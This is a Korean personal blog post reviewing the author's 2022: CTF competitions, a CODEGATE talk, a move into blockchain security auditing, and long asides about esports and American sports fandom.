• BlackHat MEA에서는 기여도 할만큼 하고 상금도 든든하게 받아서 좋았습니다. 사우디 가는 것도 좋구요.
• 내년 초에 SECCON을 치러 일본으로 갑니다. 진짜 오랜만에 일본으로 가게 되어서 좋습니다.
• 버스 탑승으로 NSUCRYPTO 2022를 우승했습니다. 진짜 버스 탑승 제대로 했습니다.
• Paradigm CTF를 조금 열심히 쳤어야 했는데 그때 담원 vs T1 플옵 경기보고 속이 뒤집어져서 진짜 아파서 못함 ㅋㅋ
• CODEGATE 컨퍼런스에서 발표했습니다. 나름 신기한 경험이었어요.
• https://github.com/rkm0959/rkm0959_presents/blob/main/PriceOracle-CODEGATE2022.pdf
• 금융보안원에서 블록체인에 대한 강의를 할 일이 있었습니다. 이것도 재밌었어요.
• 회사 동료분과 함께 0-day 버그를 찾은 경험이 조금 늘어났습니다. (THORChain, ChainSafe, etc)
• 현재 회사에서도 보안감사 일을 하고 있습니다. 아직까지는 큰 문제없이 잘하고 있는 것 같아서 다행입니다.
• 내년에도 계속 대회 출제를 할 수 있으면 좋겠습니다. 출제가 확실히 재밌기는 해서....
• Super Guesser에서 뭔가 재밌는 일을 하게 될수도 있을 것 같은데 이것도 잘 되면 좋을 것 같아요.
• Code4rena 같은 대회나 ImmuneFi 버그 헌팅도 고려는 하고 있는데 사실 고르라고 하면 암호 공부할 것 같기는 합니다.
• 옛날에는 pwn/web/rev를 공부하는 것에 대한 로망이 있었는데 솔직히 제가 지금 시작하는 건 별로인 것 같다는 결론을 내렸습니다.

### "Macro" Timeline

• 1~2월: 작년 말에 좀 일이 있어서 멘탈이 날라갔는데 복구하면서 랩실 작업에 집중했습니다.
• 3월: 이직하기로 결정하고 갈 곳들에게 컨택하고 절차를 밟았습니다.
• 이직 이유는 트레이딩이 너무 어려워서 + 보안 일하는 게 재밌어보이고 적성도 맞을 것 같고 제 미래에도 도움이 될 것 같아서
• 여기서 어디로 이직을 할 것인지를 가지고 고민을 해야 했는데 진짜 정신나갈 것 같았습니다. 4월에 훈련소여서 시간이 없었어요.
• 내린 선택에 대한 후회를 한 번도 안했냐고 물으면 그건 거짓말인데, 결국 생각하고 나면 결론이 대충 "이미 선택을 했으니까 내가 그 선택을 맞는 선택으로 만들기 위해서 노력하자"여서... 병특인만큼 이제 이직을 하더라도 엄청 신중하게 해야하는 게 맞으니까요. 다양한 길이 열려있고 좋게 봐주시는 분이 계시는 건 항상 감사한 일입니다. 더 노력해야겠어요 :) 어쨌든 지금은 "나만 잘하면 되는 환경"이 세팅된 상황 같아서 다행입니다.
• 4월: 훈련소에 갔습니다. 여기서 공부를 조금 더 열심히 했으면 좋았을 것 같지만 솔직히 그냥 끝난 게 다행입니다.
• 5월: Terra 사태가 터졌고 (저는 제 전재산 70%를 UST로 들고 있었는데 0.994에 다 팔았습니다) 저는 이직을 했습니다. MSI 보러 부산감.
• 6월: 이때부터는 Macro적인 건 특별히 없고, 그냥 회사에서 일을 했습니다 ㅋㅋㅋㅋ
• 7월: 이때부터 본격적으로 Security Audit 일에 들어갔습니다. 이때 Open Source Contributon도 있었습니다.
• 8월: DEFCON에 다녀온 게 메인 이벤트 같네요. ZK-ZK-SEL 분들도 이때 즈음에 만나서 같이 이야기하게 되었습니다.
• 9월: Stanford에 다녀온 게 메인 이벤트. 이때 Lookup Argument 연구를 조금 했고 회사일도 이때 재밌었어요.
• 10월: NSUCRYPTO도 나갔는데 이때 여러가지로 고민이 많았던 기억이 있습니다. 사실 롤드컵 보느라 인생을 삭제시켰습니다.
• 그거와 별개로 이때 회사 근처에 아지트를 하나 구했습니다. 디테일은 생략. 아무튼 잘 쓰고 있습니다.
• 11월: BlackHat MEA 다녀온 게 메인 이벤트. 근데 이때도 솔직히 약간 인생이 뇌절이긴 했어요 ㅋㅋㅋㅋㅋ;
• 12월: 일단 회사일이 엄청 재밌어졌습니다. 포켓몬 BDSP + 포켓몬 LA를 사서 합쳐서 90시간을 태웠습니다.
• 한바탕 노니까 다시 공부할 Motivation도 생겨서 지금도 그렇고 1월에도 그렇고 다시 열심히 공부할 것 같습니다

### Sports & Fun

• 리듬게임 이야기
• 츄니즘은 결국 아예 접었습니다. 어떻게 된 게 대규모 업데이트가 (CHUNITHM NEW) 나왔는데 새로 나온 곡들 순회조차 안하고 접었는지는 모르겠는데, 어쨌든 접었습니다. 옛날에는 이거하는 것만을 목적으로 일본까지 가고 그랬는데 참 신기합니다. 어쨌든 츄니즘 ㅂㅂ
• 사볼도 제가 봤을때는 사실상 접었습니다. 비즈니스하는 사람들 골프치듯이 사볼하는 거 외에는 (ㅋㅋ) 안할 것 같아요. 점수 올릴 생각하고 사볼하러 간 다음에 기분만 망친 상태로 집으로 가는 경우가 너무 많아졌습니다. 여기서 더 올라가려면 뇌를 켜야하는데 제가 그걸 잘 못합니다.
• 그래서 리듬게임은 아예 접은 것 같아요. 21년 말 ~ 22년 중순까지 덕분에 잘 놀았습니다.
• 스포츠 이야기 1 - LoL: T1 응원을 나름 열심히 했습니다.
• 스프링은 뭐 매우 좋았고 이때는 진짜 T1 경기는 다 챙겨봤습니다. 롤갤에 상주했어요
• MSI 보러 지인들과 부산에 갔습니다. G2전은 참 좋았는데 RNG전에서 멘탈 나갔습니다.
• 서머때는 뭔가 상태가 메롱이라는 말을 들어서 거의 안봤습니다. 결승전은 지인들과 같이 모여서 트위치로 보긴 했는데 ㅋㅋ
• 롤드컵때는 경기 다 챙겨봤습니다. 이러면 안되는데 인생을 여기에 갈아넣었어요.
• 대충 8강전 - 일주일 내내 무한리딸 - 4강전 - 일주일 내내 무한리딸을 했고 4강전은 지인들과 롤파크에서 봤습니다.
• 결승전을 해외에서 CODEGATE 치러 온 지인하고 같이 CGV에서 봤습니다.
• 4세트 끝나고 DRX 우승 느낌이 들기 시작하더니 베릴이 바드를 뽑는 걸 보고 DRX 우승이 눈에 보이더라구요
• 아쉽기는 한데 DRX도 워낙 스토리가 있고 데프트/베릴 둘 다 호감이라 그나마 다행입니다. 역체{봇/폿} ㅊㅊㅊ
• 페이커가 3년 재계약을 했는데 저는 3년 뒤에도 학부생입니다. 감동적이네요...
• 내년에 롤드컵이 서울이라는데 내년 10월에 또 롤드컵에 인생을 갈아넣는 게 확정이라 벌써 무섭습니다.
• 스포츠 이야기 2 - 미국 스포츠
• NBA 이야기
• 일단 21년 파이널이 Suns vs Bucks가 되면서 (둘 다 호감) 진짜 싱글벙글 기분좋게 봤는데 Bucks가 우승을 함.
• 그래서 22년에 Suns가 좀 잘하면 좋겠다 싶어서 봤는데 2라운드 7차전에서 진짜 대가리가 깨져버리더라구요 ㅋㅋ;
• 근데 대가리를 깬 Mavericks도 호감이어서 (11년 파이널 + 노비츠키 + 돈치치 등) 좀 잘했으면 좋겠다 싶었는데 상대가 골스임
• 그래서 파이널 매치업을 보니까 어떻게 된 게 Warriors vs Celtics 여서 이성을 잃었습니다.
• 확실히 커리가 잘하긴 하는듯요 파엠빼고 다 가졌던 사람인데 파엠을 가져가서 이제 뭐라 못할듯. 물론 지금 골스는 뭐하는지 모르겠습니다.
• 23년에 대한 희망사항은 요키치와 덴버가 플레이오프에서 좀 잘나갔으면 좋겠습니다. 요키치 매우 호감임.
• NFL 이야기
• 사실 22년 플레이오프를 제대로 follow-up을 못했어요. 23년은 조금 더 follow-up을 제대로 해야겠습니다.
• 슈퍼볼 매치업이 Bengals vs Rams여서 이때는 진짜 아무나 우승해라 마인드였습니다. 둘 다 개고생한 팀이다보니...
• 대충 AFC 강팀이 Bills/Chiefs/Bengals/Ravens가 있는데 Bills/Bengals 중 한 명이 올라가면 좋을 것 같습니다.
• 대충 NFC 강팀이 Eagles/Cowboys/Vikings/49ers 정도 같네요. Eagles/Vikings 중 한 명이 올라가면 좋을 것 같습니다.
• Seahawks QB였던 Russell Wilson이 트레이드되고 덴버로 가서 개못하고 있는데 복잡한 감정이 듭니다
• NHL 이야기
• 22년 플레이오프를 제대로 follow-up을 못했어요. 23년에는 조금 더 follow-up을 해야겠습니다. 22년을 다시보면
• 토론토가 또 7꽉하고 1라딱 (2018, 2019, "2020", 2021, 2022 5연타)
• 플로리다가 정규시즌 1위하고 1라를 겨우 통과한 후 2라 스윕딱 ㅠㅠ
• 토론토가 1라딱하는 거 웃기긴 한데 23년에는 안했으면 좋겠습니다. 얘들 정규시즌에는 개잘하는데 너무 아쉬워요.
• 4월 중순에 플레이오프 시작인데 이때 토론토로 가서 직관하는 거 진지하게 고려하고 있습니다. 최소한 경기 다 라이브로 챙겨볼듯.
• 스포츠 이야기 여담: 저는 포르투칼 전을 안보고 잤습니다. 대신 월드컵 결승은 다 라이브로 봤어요. 다행입니다.

+ 2023년에 슬슬 유학 준비를 (GRE 등) 해야할 것 같다는 생각이 드네요

쓰다보니 이게 인생 회고인지 스포츠 칼럼인지 모르겠는 걸 보니까 인생이 벌써 크게 뒤틀린 것 같습니다

#### '미래 계획 및 근황' 카테고리의 다른 글

Recent Updates  (4) 2022.08.12 2022.05.18 2021.07.15 2021.05.31 2021.04.02

#### 'Cryptography' 카테고리의 다른 글

Polynomials and Elliptic Curves in ZK  (0) 2023.02.27 2023.02.22 2022.11.25 2022.11.04 2022.10.24

#### 'Blockchain Security' 카테고리의 다른 글

DFX Finance Attack Overview  (0) 2022.11.16 2022.11.05 2022.10.21 2022.10.20 2022.08.30